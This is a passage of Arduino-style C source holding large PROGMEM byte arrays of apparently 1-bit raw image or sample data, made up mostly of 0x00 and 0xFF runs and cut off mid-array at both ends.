0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xC0, 0x3E, 0x01, 0xFC, \n0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, \n0x00, 0x3E, 0x00, 0x7C, 0x00, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\n};\nprog_uchar onebitraw_2[] PROGMEM = {\n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x0F, 0xC0, 0x3E, 0x00, 0xFE, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0x82, 0x00, \n0x1F, 0xFF, 0xF0, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, \n0xFF, 0xFF, 0xF0, 0x0F, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x3C, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x80, 0x7E, 0x00, 0x7C, 0x00, 0x00, 0x00, \n0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 